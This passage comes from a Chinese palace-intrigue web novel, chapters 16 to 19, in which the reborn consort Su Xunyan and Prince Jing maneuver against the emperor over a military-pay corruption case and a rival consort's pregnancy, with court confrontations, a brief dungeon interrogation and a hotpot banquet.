苏嬷嬷将托盘上的菜品,一一摆放到桌子上,接着朝苏寻雁招手:“娘娘,快来喝口莲子粥,这一日,老奴在一旁光是看着都觉得累。”
苏寻雁本想就此歇下,可一闻到饭菜香味,又忍不住起身走了过去。
看了一眼桌上的饭食,她不禁食欲大动:“还是嬷嬷会安排,这些都是我想吃的。”
苏嬷嬷却笑道:“娘娘这是饿得狠了。”
“嬷嬷你也坐,陪我一起吃。”她拍了拍身侧的位置,让苏嬷嬷坐过来。
苏嬷嬷露出一抹无奈:“好,那老奴就陪娘娘再吃几口。”
她本就是将门出身,并不在乎这些礼数,平日里苏嬷嬷也没少陪她用饭,她总说,一个人吃没胃口,人多了吃才香。
二人吃罢了饭,苏嬷嬷又想起什么,连忙凑了过来:“对了,娘娘可曾问过靖王,关于将军之事啊?”
这个问题也是苏夫人眼下最关心的,苏寻雁想了想,便说:“今日会面时间有限,我们也只略微聊了几句,还未聊到这些。”
苏嬷嬷闻言,就有些着急,苏寻雁连忙宽慰她。
“嬷嬷别急,眼下军饷案还没有眉目,父亲在靖王那里,反而更安全。”
苏嬷嬷听后,也觉此话在理,便点头说:“娘娘说的很是,老奴这就去回了夫人。”
“嗯,去吧。”
苏寻雁随即起身,躺到床榻上。这一日忙忙叨叨,直到夜深,她才有心思回想白日之事。
她与靖王虽只见过短短两面,可对方每一次给她的感觉都不同,这人,还真是让人捉摸不透。
但不管如何,眼下他们算是同盟了,敌人的敌人便是朋友。
想着想着,她只觉眼皮越来越沉,很快便睡了过去。
一夜无梦,再睁眼时,窗外天光已然大亮。她迷迷糊糊坐起身,懒懒地朝外唤了一声:“知秋。”
知秋快步走至床边,俯身看了一眼,见她醒了,便说:“娘娘睡醒了?苏嬷嬷说您昨日辛苦,不让我们叫醒您呢。”
“什么时辰了?”苏寻雁无奈的扶额,
“巳时了,娘娘饿了吧?”
知秋连忙将侍女唤进来,侍候苏寻雁洗漱更衣。
“用膳先不急,我问你,今日宫中可有发生什么事?”
想到昨日与靖王说过的话,苏寻雁便暗暗期待起来。
知秋却是一脸茫然:“啊?宫中没发生什么事啊,娘娘是想问前朝之事吗?奴婢哪里能知道这些啊!”
苏寻雁环顾四周,问道:“怎么不见苏嬷嬷?”
16. 第 16 章
知秋将碗筷摆好,便回过头来说:“苏嬷嬷正与苏府之人叙话呢,要将她找来吗?”
苏寻雁轻叹了一声,随即摆手:“罢了,我先用膳吧。”
而距此不远的宫殿内,苏寻雁最期待的一幕正在上演。
韩屹正在桌案后批阅奏折,这时,一名侍从匆匆走进,躬身禀告道:“陛下,靖王殿下在外求见。”
“他又来做什么?”
侍从低头不语,韩屹迅速收敛起眼底的疲惫之色,整了整衣衫,又拿起一本奏折,才沉声道:“喧他进来。”
很快,韩元修便随着内侍的指引朝里走,走至大殿中间,朝韩屹躬身行礼:“臣有要事禀明陛下。”
韩屹抬了抬眼,语气淡淡:“讲罢。”
对方态度随意,韩元修也不恼,只拱手,语气认真地说道。
“苏大将军苏益之于几日前遭遇伏击,至今下落不明,不知此事,陛下可知晓?”
韩屹闻言,猛地将手中的奏折拍到桌案上,急急追问:“竟有此事?苏将军是何时失踪的?”
“陛下,竟是不知情?”
韩元修也故作惊讶地反问。
韩屹闻言,眼神不耐地撇向下首的韩元修。
“皇叔有话直说,朕还有许多奏折要批阅,没功夫和你在这打哑谜。”
说着,他眼神扫过桌案那堆砌如山的奏折。
韩元修眼底极快的闪过一抹笑意,面上仍沉着应对。
“陛下日理万机,可边陲的安危也该放在首要才是,苏将军遭不明之人伏击,此事不可不查。”
韩屹听后,故作担忧地轻叹了一声:“苏将军战功赫赫,是朝廷难得的良将,朕听闻此事,岂会不忧心?皇叔尽可放心,朕会命兵部彻查此事。”
说罢,就要下逐客令,韩元修却只当没看到,又继续说。
“臣还在苏将军遇刺之地,搜寻到一封密令,原以为苏将军是奉皇命回京,陛下竟全然不知此事,可见背后之人用心险恶……”
“哦,确有此事。”
韩屹连忙打断他:“朕先前只顾忙着祭祀之事,竟将此事忘了,是朕命他回京,协查一宗案子,不想他一直未归,原是在路上出了事,唉,袭击之人可有捉到?”
见他露出惋惜之色,韩元修也没拆穿他,只是摇头说。
“等臣赶到时,那里早就空无一人,只能凭零星的打斗痕迹,判断出当时的大概情形。”
韩屹听后,微微颔首。
韩元修看他一眼,话锋一转,又道:“陛下似乎对苏将军遇袭之事并不意外,反倒对那伙袭击之人,很感兴趣?”
韩屹听出他话里有话,却懒得理他,只淡声道:“此事朕已知晓。”
他垂眸,目光重新落在手中的奏折上,语气疏离:“若无他事,便退下吧。”
“陛下召回苏将军,定是为军饷贪腐案,可他却在回京途中遇袭,这一切未免也太过巧合。”
韩屹眼底闪过一抹厌恶之色,面上却不得不故作讶然地看向他。
“嗯,皇叔所想不无道理,看来军中不仅涉及贪墨,还有可能混入了别国奸细。”
“正是!”
韩元修语气急急:“此事非同小可,臣恳请陛下将此案与军饷案合并审查,由臣做两案的主理之人,亦能起到监督之能。”
韩屹被堵的没了话,却又不甘心让他就这样如愿,便想拖着他。
“皇叔当知,此案牵扯之人众多,朕还需与众爱卿商议过后,再行决议。”
韩元修脸上的和善收敛,语气变得冷硬。
“苏将军遇袭一事尚未有定论,可这军饷贪腐案,历时两个月,却还未有进展,陛下如此,莫非是想要徇私?”
“放肆!”
韩屹气得猛地站起身,将御案上的奏折尽数扫落,“韩元修,你太放肆了!”
殿外侍候的宫人闻声,慌忙赶来,跪倒在地,齐声劝道:“陛下,息怒。”
韩远修却依旧从容,眼神疏离地望向上首震怒中的帝王,语气平缓,却字字诛心。
“陛下何必动此大怒,臣不过是陈述事实,贪腐案涉及的其中一位官员之女,不正是陛下的新欢吗?要说您为了讨美人欢心,对其父网开一面,也是人之常情。”
“简直是无稽之谈!”
“哦,是吗?可臣怎么听闻,此女早就被陛下接入宫中,且身怀皇嗣。”他状似无意地道:“若百官知晓此事,会作何感想?”
“你胆敢威胁朕!”
韩屹怒不可遏,指着他,低吼道:“后宫之事,还轮不到你来置喙!”
韩元修掏了掏耳朵,等他发泄完,才不紧不慢地说。
“臣岂敢,只是好心提醒陛下,若将此案交由臣来主理,将来若查出什么,也可服众,亦能彻底肃清朝堂。”
韩屹胸口剧烈起伏,深呼吸了几次,才勉强压下怒火,冷声道。
“好,此案就交由你主理,限期一月,若届时查不出真相,就莫怪朕为了服众,降你爵位!”
韩元修忙拱手答应:“臣领命!”
他随即转身,大步朝外走,不管韩屹此刻内心有多愤怒。
朝中与韩远修关系不错的几位大臣,得知此事,纷纷前来劝解。
“王爷,您何必赌上自己的爵位呢?此案交由两部共同审理,亦能公正评判。”
“是啊,王爷如此,实在是得不偿失啊!”
大家敬重靖王为人,他为稳定边境立下的赫赫战功,不可估量。
他们也觉得陛下此举,是在有意打压他。
连一向明哲保身的户部侍郎,这回也站了出来。
“王爷若有什么难言之隐,尽可与我们说来,我们去向陛下陈情。”
韩元修露出一抹淡笑:“诸位的好意,本王心领了。”
随即正色道:“此案主理是本王自己求来的,若是寻常案件,两部共同审理,尚且能公平,可此案不似表面这般简单,若非我出面,真相或许永远不会浮出。”
“王爷大义!若有任何需要,我们随时恭候。”
韩元修朝几人微微颔首。
直至回到王府,到书房坐下,他才露出阴沉之色,冷声吩咐。
“从即日起,凡是来靖王府,或牵扯进案子的人,一律监视起来,尤其那个林氏,她见了什么人,做了什么事,通通来报。”
“是。”下属躬身领命。
他随即脸色放缓,“将此事告知贵妃,还有,林氏要入宫之事,让她早做打算。”
说起苏寻雁,韩元修的眼中就不免闪过一丝忧虑。
观韩屹今日的种种反应,更印证了此案背后绝不简单,而这正是他一直以来最为担心的。
他本不愿将苏寻雁牵扯其中,可那日会面,她眼中不经意露出的那抹沉痛之色,让他一时心软,终是应了她。
如今想来,却又生出几分悔意。
正想着,门外突然响起细微的脚步声,韩元修警觉地抬起头,一个侍从走了进来,躬身回禀。
“贵妃娘娘听说了今日之事,恭喜王爷得偿所愿,后宫之事,她已想好对策,让王爷不必忧心。”
韩元修闻言,眼底掠过一抹几不可察的笑意,“知道了,退下吧。”
“是。”侍从躬身告退。
韩元修收敛思绪,起身朝外走,与院外值守的几人说:“随我去地牢,提审林氏一干人等。”
其中一个带刀侍卫闻言,忍不住小声抱怨。
“王爷,
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那地牢可关押了不少林氏族人,咱们这么一个个提审,要审到什么时候去啊!”
韩元修眼神淡淡地瞥向他,“不想去?”
侍卫一见他那眼神,立马认怂,摇头如拨浪鼓:“没有没有,我特喜欢去地牢,我方才就是感慨一下。”
说罢,他转身跑了。
其他人见状,忍不住低笑出声,韩元修看了一眼,才转头与几人说。
“你们进去后,先将人都过一遍,若有行迹可疑,言辞闪烁的,都记下来,回头再审。”
众人齐声应道:“是。”
幽暗阴冷的地牢深处,韩元修坐于椅上,眼神平静地注视着身着囚服的林萧。
狱卒垂首候在一旁,不敢直视眼前这位年轻的王爷。
“趁本王还有几分耐心,你最好如实交代,你的沉默,保护不了任何人。”
林萧仍一动不动,垂首跪于地上。
一旁的侍卫见状,忍不了了,上前狠狠踹了他一脚:“王爷问话,你也敢装死?”
林萧吃痛地闷哼了一声,随即缓缓坐起,继续保持着先前的姿势。
“王爷,他方才就是装的,要不直接上刑?”
韩元修没搭理他,沉声道:“说说吧,那晚与你接头之人,究竟是谁?”
林萧依旧沉默以对,仿佛听不到韩元修的问话。
侍卫见他如此,气得再次上前,又狠踹了他两脚,“还不快说!”
林萧被踢的鼻青脸肿,他趴在地上,虚弱地说:“还要让我说什么?我先前都说过了,那晚与我接头的人就是苏益之,所有事都是他指使我干的。”
韩元修听后,丝毫不意外,反而浮起一丝兴味:“诬陷苏将军,你背后之人,便是这么交代你的?”
林萧连忙摇头否认:“我背后之人就是苏益之。”
“哦,证据在哪?”
林萧闻言一怔,随即转头:“来往密信都存放在林府,你们自己去搜啊,总来问我做什么。”
“你什么态度,真是找揍!”
侍卫气得一把夺过狱卒手中的鞭子,狠狠抽了几鞭下去。
林萧起初还知道躲闪,后面疼得直哼哼,逐渐没了声。
韩元修见状,便抬手制止:“修林,够了。”
林萧此时已经出气多进气少了,侍卫修林见他如此,连忙放下鞭子,上前试了试他的鼻息,随即放心地回禀。
“王爷放心,这人还活着呢。”
韩元修耐心耗尽,无意与林萧多言,他起身,冷声吩咐:“将人带回去,即日起,不许给他饭食和水。”
狱卒连连点头应下。
“你们几个,继续提审,有消息即刻来报。”
几人连忙躬身应下,只修林和没事人一般,跟着韩元修走出牢房。
“谁让你离开的?”韩元修随即停下来,转头看他。
修林却若无其事地笑了笑:“他们几个都在里面审问犯人,我可不得留在王爷身边保护您啊。”
“我看你是皮痒了。”
韩元修不悦地瞪了他一眼,转身朝前走。
修林笑嘻嘻地跟上:“王爷,我们下一步要做什么?”
“你去户部和兵部,将这几年军饷发放的账目明细取来。”韩元修头也不回地吩咐。
修林一听,眉梢一挑,脸上露出笑意,这意味着他不用再去地牢。
他当即扬声答应:“是,属下这就去。”
韩屹给的时间很紧,要想在短时间内查出眉目,并不容易。
林萧不过是推到前面的挡箭牌,幕后之人还未露面,只能先从细节处着手。
找到其中的突破口,案件才好往下进行。
而此刻,有一个人先沉不住气了。
17. 第 17 章
林婉柔一听说军饷案的主理交由靖王,就不免担忧起来。
“屹大哥,你为何让靖王参与审理,若真让他查出什么,我父亲还能有命活吗?”
韩屹本就被韩元修气得不轻,再一听林婉柔的抱怨,顿时没了好脸色。
“就你父亲做的那些事,死十次都不够,还想活命?”
“你这话什么意思?”
林婉柔一听这话,顿时急了:“当初你可是答应过我的,若是事成,可保我父亲一命,就算真出了事,他也不过是个从犯罢了,罪不至死!”
韩屹闻言嗤笑一声:“呵,你还真是天真。”
他随即转身,大步朝外走:“你先查清楚他都做过哪些好事,再来和我谈保命。”
"什么意思?"
韩屹没做停留,身影迅速消失在门外。
林婉柔追了几步,终究没能追上。
她怔在原地,心头一片茫然。她先前问过父亲,还有没有什么隐瞒,他明明向自己保证过绝无隐瞒。
怎么还会有事?
这当中定有什么误会,对,她得先将事情搞清楚。
她扬声唤来宫人,急急吩咐:“快,将林府这些年的账目取来,还有与林府往来的哪些官员名单,要快!”
宫人忙领命下去,林婉柔却隐隐有些不安。
她对林府的那些人没甚感情,可若想在后宫立足,势必需要家族助力,所以林家不能没落。
否则,她拿什么跟苏寻雁斗。
苏寻雁若知晓了她这个想法,定会觉得可笑。
什么妃位、宠爱,在她心中都不及家人来得重要。
先前她将林婉柔有孕一事,透露给韩元修,就是要他凭借此事当上案件的主理。
如今目的达到,林婉柔有孕之事,也就没必要隐瞒了。
思及此,她吩咐知秋:“去将几位美人和吴婕姝都请过来。就与她们说,上次本宫生辰,没能留她们吃酒,今日补上。”
“是,娘娘。”知秋连忙应下,“宴席要设在雁鸣宫吗?”
苏寻雁点头:“嗯,就设在雁鸣宫。”
得到准信,知秋忙转身去安排。
几位美人和婕姝一听是贵妃设宴,还不到时辰就急急赶来,皆一脸期盼地望着她。
苏寻雁只当没看到,柔声招呼几人:“你们能来,我很高兴,都别愣着了,先喝茶。”
几人闻言,心底闪过失落,面上却保持微笑。
其中一位美人心宽,端起茶碗,一口饮下,随即她惊奇地抬头:“贵妃娘娘,这茶的味道好生特别,嫔妾从没喝过,不知这是什么茶?”
其他人闻言,将信将疑地端起茶碗,抿下一口。
入口是淡淡的清香,还有微微回甘,与以往喝得茶都不相同。
苏寻雁见她们喜欢,便为几人解惑:“这确实与以往的茶不同,这是红茶,此茶多一道发酵的工序,配上果香,花香,所以口感上更丰富,也最适合这个季节饮用。”
吴婕姝听后恍然:“我说这茶怎么喝起来有一股果香,原是与果子一同发酵的,口感真是特别。”
江美人特别捧场地笑道:“此茶虽好,也是贵妃娘娘眼光独到,懂得欣赏,若换作是我,定不会去尝试。”
说罢,她又不好意思地凑过来,小声问道:“娘娘,这茶还有吗?我想带回去一些呢。”
苏寻雁没好气地看了她一眼,“有,既然让你们尝了,自是要送些给你们。”
说罢,她转头吩咐:“知秋,去将包好的茶拿来。”知秋忙躬身应下。
一壶茶喝完,苏寻雁便起身招呼几人:“茶喝的差不多了,你们也该饿了吧?晚膳备好了,走吧。”
几人忙放下手中茶碗,随苏寻雁来到庭院。
秋季园中的景色不再丰富,花草树木尽数凋零,让人见了不免感到寂寥。
可抬头望向夜空时,那轮圆月却比以往更加明亮,将天地都照得澄澈,反倒透出一种空灵唯美的意境。
今日温度适宜,苏寻雁便在庭院设宴,几人还未走进,一股肉香便飘荡过来。
江美人好奇地走上前,一眼便看到桌上的热锅,周围还盘满了羊肉片、鱼肉片、山珍、时蔬等,看着就让人很有食欲。
她回头,眼含笑意的看着苏寻雁:“娘娘原是给我们安排了锅子,我说怎么这样香呢,这个季节最是适合涮羊肉了。”
苏寻雁抬脚走至桌边,招手示意大家落座。
“本宫与江美人想的一样,热锅就该在这个时候吃,怕你们吃不得辣锅,特意让他们用菊花枸杞做底,也不知你们能否吃得惯?”
几人纷纷点头说好,江美人连忙接话:“这顿锅子可不得了,食材这么丰盛,哪里会不好吃啊,娘娘,我们这就开动吧?闻着这肉香,嫔妾都觉得饿了。”
"那还等什么,开动吧,都不必客气。"
苏寻雁说罢,就拿起桌上的公筷,先将那盘时蔬放入锅中,又要拿起一旁的鱼丸,却被身旁的美人拦住了。
“哪能让娘娘侍候我们呢,还是嫔妾来。”
苏寻雁露出一抹淡笑:“无妨,本宫特意让宫人们下去,吃火锅,还是自己动手更好吃。”
几人闻言,也觉惊奇,纷纷动手往锅里放食材。
别说,这自己动手煮,确实比等着宫人侍候,吃现成的更有食欲。
只是锅子就这么大,她们你放一盘,我放一盘,很快就成了满满一大锅。
苏寻雁见状,哭笑不得:“自己动手是更香,可不是让你们放这么多啊。”
另一美人却无所谓道:“哎呀,娘娘放心吧,就这些,我还不够吃呢。”
听她这么说,几人都没忍住笑出了声。
苏寻雁也被几人的笑容所感染,露出一抹笑意。
火锅虽好吃,苏寻雁也没忘了正事,见几人吃得差不多,她便放下筷子,收敛笑意,与几人正色道。
“先前因陛下忙着祭祀大典,林婉柔一事,我们没去讨说法,如今大典结束,关于林婉柔,你们有何想法?”
几人你看看我,我看看你,一时也不知该说什么。
她们每次私底下说得头头是道,对上韩屹便说不出来了,几次都是如此,她也习惯了。
不过这次,她不允许她们再逃避了。
“
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这是都没意见了?若陛下册封她为美人,你们也不在乎?”
几人还是没有表态,最终,还是吴婕姝忍不住,摇头说道。
“那可不行,若陛下将她纳入后宫,开了这样的先例,那往后什么阿猫阿狗,都能入宫了。”
苏寻雁颇为认同地点了点头,见其他人还在犹豫不决,她便直接说了。
“本宫方才那话,可不是在吓唬你们,林婉柔已经怀有身孕,册封不过是早晚的事。”
“什么?”江美人先坐不住了,她抓紧手帕,气得不行,“她都有身孕了?”
其他人也一脸震惊地看向苏寻雁,得到了她肯定地答复:“你们没听错,是真的。”
这时,一个平时并不参与话题的美人,突然出声:“这个消息,娘娘又是如何得知的?”
看向苏寻雁的眼神里还带着一丝探究。苏寻雁转眸望向她,还没说什么,吴婕姝先不乐意了。
“张美人,你什么意思?娘娘即是贵妃,自有她的消息来源,你在质疑什么?”
不想,张美人今日一改往日的低调,抬头扫向众人,目光最终又落在苏寻雁身上,冷声质问:“贵妃娘娘分明早就知晓此事,却瞒了我们那么久,不知是何居心?”
几人闻言,齐齐望向苏寻雁,等着她回答。
苏寻雁淡定地笑了笑:“是,本宫早就知晓,至于为何没告诉你们。”她顿了顿,眼神转向张美人:“不就是因为你吗?”
张美人没想到苏寻雁会察觉,眼底掠过一抹惊慌,但很快又冷静下来,不服气地反驳。
“娘娘可不要转移话题,说得再怎么好听,也不过是想利用我们罢了。”
吴婕姝又有些坐不住了,还是一旁的江美人及时拽住她的手,示意她稍安勿躁。
“在这宫中,大家不都是彼此利用吗?”苏寻雁随即收敛笑容,眼神冷冷地瞥向对面的张美人。
“你早就知晓此事,方才却与其他人一样故作惊讶,不知又是安的什么心?”
几人闻言,一脸震惊地转头看她,“张美人,你早就知晓了?”
被这样当面戳破,张美人非但不心虚,反而愈发理直气壮。
“我一个小小美人,即便是知道了,又能如何?”她迎上众人的目光,扬声道:“你们别傻了,她根本没想管我们,不如趁早领择靠山。”
“你该不会是投靠林婉柔了吧?就因为她怀了孩子?”
听出她话中的意思,江美人只觉不可思议。
话都说到这份上了,她也懒得遮掩,直接大方承认下来。
“对,你们猜得没错,我是投靠了林婉柔,那又如何?”
她一一扫过众人,语气带着几分得意:“她承诺过,待她诞下子嗣,也会助我怀上孩子,她还说了,你们若此时回心转意,还来得及。”
其他人闻言,皆一脸不忿地指责起她来,张美人却冷笑一声:“这般不识好歹,日后自有你们后悔的时候!”
说罢,她不再与几人废话,头也不回地离开了雁鸣宫。
江美人看了眼她离去的背影,有些不解:“这张美人怎么回事?林婉柔说什么她都信?”
18. 第 18 章
苏寻雁却因张美人方才说的那番话,陷入了沉思。
林婉柔为何如此笃定,能让张美人怀上孩子?那韩屹岂能任由她摆布?
吴婕姝却有些着急,凑过来问道:“娘娘,别管她了,您就直说吧,要我们做什么?”
苏寻雁这才收回思绪,轻叹了一声,缓缓开口。
“方才的情形你们也看到了,这林婉柔的野心很大,她腹中怀的还是陛下的第一个孩子,如今再想阻止她入宫,已是徒劳,可若让她就此进宫,又有些不甘心。”
几人连连点头,表示赞同。
苏寻雁眼神平静下来,语气悠悠:“先将此事捅到前朝去,让百官来评判,即便她入了后宫,孩子也不能归她所有。”
吴婕姝想了想,便点头附和:“娘娘说的是,如今再阻止她进宫是不可能了,只能用子嗣给她使些绊子了。她的野心定是要做皇后,我们不能让她得逞。”
“嗯对,我回去就与我爹说,让他明日早朝提一提这事。”江美人连忙表态。
其他人也纷纷赞同,商议好了对策,大家才告辞离开。
苏嬷嬷见几人离开,就笑着说:“还是娘娘有办法,如此,不仅让她们知晓了林婉柔的野心,也能铲除了异心。”
她却摇头:“哪是我厉害,她们不过看重苏氏背后的兵权罢了,若那林婉柔与我家世相当,你再看看。”
苏嬷嬷却急忙安慰道:“那也无妨,如今林家可掀不起来什么风浪了。”
“在案子没下定论之前,还都说不准,咱们眼下要做的,就是将此事坐实了。”
苏寻雁眼底闪过狠厉,语气也随之转冷。苏嬷嬷轻叹了一口气。
想到林婉柔能入宫为妃,几位美人婕姝的心中满是不甘心,可对方是帝王,纵使她们再怎么不甘,终究也只能妥协。
可一牵扯到子嗣,朝中大臣绝不会坐视不理,毕竟这林婉柔可是罪臣家眷,入宫本就存争议,若诞下皇嗣,百官岂能容她亲自抚养?
翌日早朝,议完正事,韩屹刚要起身宣布退朝,就有官员突然出列。
“陛下,请等一等,臣有事禀奏。”
韩屹不耐烦地转过身,扫了那人一眼,便又坐下,摆了摆手:“有事便说。”
“臣听闻,陛下又将那林氏女接入宫中,还要册封其为美人?”
韩屹眉眼微挑,目光扫向下首立着的韩元修,见他露出一副爱莫能助的表情,韩屹顿时就觉窝火。
“怎么?如今连朕后宫之事,你们也想插手了?”
几位朝臣见状,皆垂首不语,唯有先前那位大臣仍神色从容,他上前一步,朗声道。
“林氏一族涉及的贪污案,尚未审结,陛下即便再喜爱此女,也不该在此时将她纳入后宫啊!”
“你既知此案尚无定论,朕为何不能将人纳入后宫?”
另一位朝臣连忙附和:“正是!陛下不过纳个美人罢了,这有什么,诸位也别太过较真。”
“陛下,此举不妥啊,若开了这样的先例,那些罪臣家眷必会心存侥幸,日后恐难以安分守己。”
韩屹目光如刀,直直刺向那名朝臣。
“朕还就偏要纳她入宫。”说罢,他冷声吩咐:“拟旨,封林氏婉柔为美人,即日生效。”
其他大臣闻言,纷纷跪倒在地,齐声劝道:“陛下,还请三思啊!”
“够了!”韩屹赫然起身,一甩衣袖,转身大步离开。
他在外向来以温和,礼贤下士示人,今日还是头一次在众人面前如此震怒。
朝臣们面面相觑,不解陛下为何会动怒,还是韩元修身旁的一员将领,向众人道出其中的缘由。
“诸位大臣有所不知,陛下可不单单是为此事动怒,只因那林氏女不光讨得陛下欢心,腹中还怀有子嗣,陛下可不得将人供起来啊。”
“啊?怎会如此?”其中一位大臣听后,震惊不已,只觉得陛下此举太过荒唐。
那将领却笑了笑:“咱们陛下的心思,谁能说得准,我劝你们啊,别与陛下对着干了,不然到时引火烧身,就太得不偿失了。”
“修林,走了。”
见几人说得差不多了,韩元修便出言催促。
修林忙扬声应道:“哦,来了。”接着,他朝几人拱手:“诸位大臣,某还有事,先行一步。”
“哎,李将军,别急着走啊,话还没说清楚呢!”大臣们见他要走,顿时急了。
修林却没有回头,只朝几人摆了摆手,往前走了几步,便凑到韩元修身旁,小声问道:“殿下,我刚刚的表现得怎么样啊?”
韩元修懒得理他,径直走下台阶。
“别废话了,赶快去地牢,接着审问。”
修林一听,立马蔫了:“别啊殿下,给我安排些别的差事吧,那地牢实在阴森……”
韩元修停下来,转身看他:“什么时候轮到你来挑拣了?”
修林却不服气,小声嘟囔:“好歹我也是个将军,怎么总让我干这些啊!”
见韩元修没了耐心,修林立马不敢再说,小跑着跟在后面。
几位朝臣还在为刚刚之事发愁。
“陛下这是怎么了?怎会对那林氏女如此喜爱啊?”他没好说,心里却觉得陛下这样,像是中了邪。
另一人也觉纳闷:“陛下不是只钟情贵妃苏氏吗?什么时候变了心思?”
其他人皆无奈地摇头,江美人的父亲适时的插进来一句。
“这林氏女进宫,咱们是无法阻止了,可她腹中的子嗣,咱们可得想办法阻止啊,此女这样的出身,怎配抚养皇族子嗣啊。”
“江大人此言有理啊,我们得想个办法阻止此事。”
其他人闻言,也觉有理,凑到一起商议对策。
江大人见状,抚了抚胡须,露出一抹得意的笑。他总算是没辜负了闺女的嘱托。
韩屹本没想这么快册封林婉柔,也是被几位朝臣激得,一气之下做了决定。
才刚下早朝,册封旨意便送到林婉柔的宫中。
听着圣旨上宣读的内容,林婉柔只觉自己在做梦,还疑心是自己听错了,她连忙问一旁的宫人。
“圣旨上说的美人,是我吗?”
宫女笑得一脸开怀,躬身行礼道:“恭喜美人,陛下亲封的旨意,不会有错。”
林婉柔欣喜地拿起圣旨,看了又看,只觉得自己是在做梦。
不过想到二人先前的争执,她自以为明白了韩屹的心意,轻声吩咐:“去,让小厨房炖个鸡汤来,我要亲自送给陛下。”
宫女连忙应下,起身去准备。
林婉柔挑了一会儿,却挑不出满意地衣裙,就有些急了。
“怎么都是些素色的,就没有鲜艳些的衣裙吗?”
一旁的侍从小声说:“美人先前不是说不要艳色,只穿素色。”
“我……”林婉柔被堵地说不出话,一脸不悦地摆手:“哎行了,快下去吧,看见你就烦。”
她先前为了讨韩屹欢心,处处都比着苏寻雁来,不管是穿着还是吃食,样样都要学她,当然,她也成功了不是。
思及此,她又拿出圣旨来看,真是越看越高兴。
有了名分,她就可以做回自己了,不用再处处学那苏寻雁。
“明日让尚衣局赶制些鲜艳的衣裙来,我可不穿这些素衣。”
宫人躬身应下:“好的,娘娘。”
她好不容易从一堆素衣里挑出了一件杏黄色衣裙,又配上杏花发簪,对着镜子照了半响,只觉自己美极了。
怕鸡汤久了会凉,她也不敢再耽搁,提起裙摆,便示意侍从跟上。
“对了,陛下此时可在崇华殿?”
一旁的侍从连忙答道:“在的,陛下一下早朝便回了崇华殿。”
“好。”
林婉柔满意地笑了,随即朝崇华殿方向行去。
谁知到了崇华殿,门口侍卫却说什么也不让她进。
林婉柔不服气地看了他一眼,“睁开你的狗眼看看,我可是陛下亲封的美人,赶快给我让开!”
侍卫连看都没看她,只冷声道:“陛下吩咐,今日任何人不得入内,美人还是请回吧。”
“那你倒是进去通传一声啊,陛下若知道是我来了,定会让我进去。”
林婉柔气得不行,却也不好当众发火,只得耐着性子与他说。
侍卫却不为所动,只冷声说:“陛下在内处理政务,不便打扰,美人请回!”
“你这人怎么回事?我说的话,你是听不懂吗?”
林婉柔不自觉提高了音量,想要引起殿内之人的注意。
果然不多时,韩
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屹便背着手出现在殿门口:“你怎么来了?”
林婉柔见他出来,便露出一抹甜美的笑:“屹大哥,你总算是出来了,我不过是想给你送碗鸡汤,可这侍卫说什么都不让我进,一点也不知变通。”
韩屹朝侍卫摆了摆手,随即转身,朝殿内走去,“进来吧。”
林婉柔走之前又瞪了那侍卫一眼,侍卫躬下身,随即露出一抹自得地笑,这才缓步朝里走。
到了殿内,她便将汤碗从食盒内取出,盛了满满一碗,又轻轻放到御案边上。
柔声说:"屹大哥,快尝尝这汤,我特意吩咐小厨房熬的。"
“嗯,放那吧,一会儿喝。”
韩屹态度敷衍,林婉柔看在眼里,心里很是不甘,她俯身靠在他的胸口,声音低柔:“屹大哥,你怎么待我这般冷淡,是不是还在生婉柔的气?”
说着,她将手轻轻抚上韩屹的胸口,唇也凑了过去。
韩屹起初在批阅奏折,被她这么一弄,烦躁地站起身,眉宇间透着几分不耐:“好了,别闹了,鸡汤送过,你可以走了,朕还有许多政务要处理。”
林婉柔看了他一眼,乖巧地点头答应:“好嘛,那我不打扰屹大哥了,等你忙完了,要记得来看我啊。”
韩屹只冷淡地“嗯”了一声,并未抬头。林婉柔压下心底的怨念,一步三回头地走了。
谁知她还未走出多远,就听身后一道熟悉的声音,她连忙转身,竟见到苏寻雁笑着走进大殿,侍卫还在后面躬身行礼,竟是连通传都免了。
凭什么?同是女子,她苏寻雁凭什么就这般不同?除了出身,自己哪里不如她?
林婉柔眼底寒光一闪,握紧袖中的手,转身时,她暗下决心,定要与之争个高低。
而大殿内,韩屹抬头见到来人,赫然起身,快步走到殿门口。
与来人温声道:“寻雁,你怎么会来?快进来。”
待二人走进,殿门便缓缓闭合,将一切隔绝在外,
苏寻雁嗔怪地看了他一眼,语气不悦:“我若再不来,陛下怕是都忘了还有我这个人了吧。”
韩屹岂会听不出她话中的不满,他连忙拉过苏寻雁地手,朝内室走,边走,边轻声解释。
“林婉柔之事是我不对,那夜我在宫外遭人暗算,是她舍下名节,救了我……”
“行了,你不要再说了,我不想听。”
苏寻雁连忙打断他,转身走到窗前,背影透着些许寂寥。
韩屹本就愧疚的心,在此刻更觉亏欠,他连忙走过去,从背后将她抱紧,压低声音道。
“那夜,虽是迫不得已,却也违背了你我当初的承诺,我答应你,绝不会有下次,寻雁,你,能原谅我吗?”
语气小心翼翼,生怕对方会拒绝。
若不是她带着前世的记忆,恐怕真会被他的神情所欺骗。
“若我今日不来,你打算何时与我说?还是想等孩子诞下再与我说?”
即便眼下她不能明着与韩屹闹翻,也不想让他这般好过。
韩屹一听她这话,就有些紧张,连忙摇头:“没有,我只是没想好要怎么与你说,寻雁,你信我,我心里始终只有你一人。”
苏寻雁冷笑道:“呵,说来说去就这一句,心里只有我,身边却可以有无数佳人,是吧?”
“不是的,寻雁,你……”
苏寻雁轻轻地叹息一声,抬手打断他的话。
“你不必再解释,我也不想听,让我信你,可以啊,那你能放弃林婉柔腹中的孩子吗?否则,一切免谈。”
说罢,她也不给韩屹解释的机会,转身欲走。
“寻雁,寻雁!”
韩屹急地一把拽住她的胳膊,语气恳切:“寻雁,你别这样,除了孩子,其他事我都可以依你。”
“除非你放弃林婉柔的孩子,否则,我们没什么好谈的。”
她将韩屹地手抽出,再度转身离开,韩屹快步追上,挡在她的面前,语气焦灼。
“你竟这般不信我?不信我们之间的感情?”
苏寻雁本是存心与他置气的,听他这么一说,心底真的窜出一股火来。
她转过身,语气平静,却字字如刀。
“是你先违背了我们的誓言,倒还好意思怪我不信任你?你不觉得自己很无耻吗?”
19. 第 19 章
说着说着,眼泪不受控制地接连滑落,连带她上一世所受的委屈,一并发泄了出来。
“你与林婉柔之间的事,过去这么久,你可曾给过我一句解释?我连你们如何相识的都不知道,你让我怎么信你?你扪心自问,真的在意过我的感受吗?”
韩屹见她眼眶微红,泪水不断从脸颊滴落,顿时慌了神,他想要解释,却又一时语塞。
最终,只是含糊地说道:“有些事,眼下还不便说明,待日后朝局稳定,我定会将一切原原本本告诉你。”
